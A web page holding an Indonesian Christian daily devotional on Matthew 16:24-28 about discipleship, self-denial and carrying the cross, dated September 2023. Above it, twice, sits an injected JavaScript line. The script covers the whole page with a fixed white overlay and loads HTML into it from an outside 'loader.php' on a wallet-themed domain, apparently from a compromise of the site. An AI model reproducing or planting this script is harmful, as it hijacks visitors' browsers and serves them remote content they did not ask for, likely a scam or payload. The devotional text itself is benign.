const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});
const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});
Sabtu, 02 September 2023
Matius 16 : 24 – 28
Pengantar
Apakah Anda masih ingat masa bersekolah? Bagaimana rutinitas Anda pada masa itu? Bangun di pagi hari, berangkat ke sekolah dengan mata yang masih mengantuk, membawa tas berisi banyak buku, dan berkonsentrasi mendengarkan pelajaran sampai siang hari. Setelah itu, di rumah, Anda masih harus membuat PR dan belajar berjam-jam untuk mempersiapkan ulangan harian atau ujian. Agar tidak tinggal kelas, Anda tidak boleh mendapatkan nilai yang jelek, termasuk untuk mata pelajaran tidak Anda sukai. Masa yang penuh tantangan dan kesulitan, bukan? Benar. Namun, kita semua tahu bahwa masa- masa di mana kita “menjadi seorang murid” adalah salah satu bagian yang penting dalam kehidupan kita.
Pemahaman
Ayat 24-25 : Kepada siapakah perkataan Yesus ditujukan? Apa saja syarat untuk menjadi murid-Nya? Apa artinya menyangkal diri dan memikul salib?
Ayat 26-28 : Mengapa Yesus menghubungkan panggilan untuk mengikut Dia dengan apa yang akan terjadi di akhir zaman?
Meskipun Yesus sedang berbicara kepada para murid, namun Ia menyampaikan prinsip yang berlaku secara umum, untuk “setiap orang” yang mau mengikut Dia. Di sini Yesus menyebutkan dua syarat: menyangkal diri dan memikul salib. Sikap “menyangkal diri” di sini berarti berkata “tidak” untuk keinginan diri sendiri dan berkata “ya” untuk kehendak Allah. Ini berarti bahwa kita harus menundukkan diri di bawah otoritas Allah dan terus-menerus berupaya menyelaraskan seluruh arah hidup kita dengan rencana-Nya. Secara praktis, kita juga harus menyelaraskan pikiran, perkataan, dan tindakan kita dengan firman-Nya. Sedangkan “memikul salib” merujuk pada kerelaan
dan ketabahan untuk menanggung penderitaan. Pentingnya memikul salib ini menjadi semakin jelas setelah peristiwa Gologta, di mana Yesus menderita dan mati di kayu salib untuk menebus dosa manusia.
Di ayat 25-28, Yesus menghubungkan panggilan untuk menjadi pengikut-Nya dengan akhir zaman. Pertama-tama, di ayat 25-26, Yesus menghubungkannya dengan penganiayaan yang akan dialami oleh para murid-Nya. Dalam kondisi itulah sebagian dari murid-Nya mungkin akan berupaya menyelamatkan diri dari penderitaan dan kematian, meskipun harus dengan menyangkal Dia. Namun, Yesus berjanji, bahwa mereka yang kehilangan nyawanya demi mempertahankan imannya kepada Yesus justru akan mendapatkan kehidupan yang kekal. Kedua, di ayat 27-28, Yesus menghubungkannya dengan kedatangan-Nya sebagai Hakim dan Raja. Ini berarti bahwa keadilan dan kuasa Kristus akan senantiasa menyertai para murid-Nya yang setia. Tanda-tanda yang menjamin hadirnya keadilan dan kuasa-Nya itu bahwa sudah dapat disaksikan oleh sebagian dari orang-orang yang ada di situ pada waktu itu.
Refleksi
Masa-masa menjadi murid di sekolah telah berakhir pada waktu kita lulus dan diwisuda, tetapi masa-masa menjadi murid Kristus akan terus berlangsung seumur hidup kita.
Tekadku
Tuhan, aku adalah murid-Mu. Aku akan terus belajar untuk menyangkal diri dan memikul salib, seumur hidupku.
Tindakanku
Dalam waktu terdekat, aku akan mengunjungi/menelpon dan mendoakan salah seorang guru/dosen yang pernah mengajar aku.
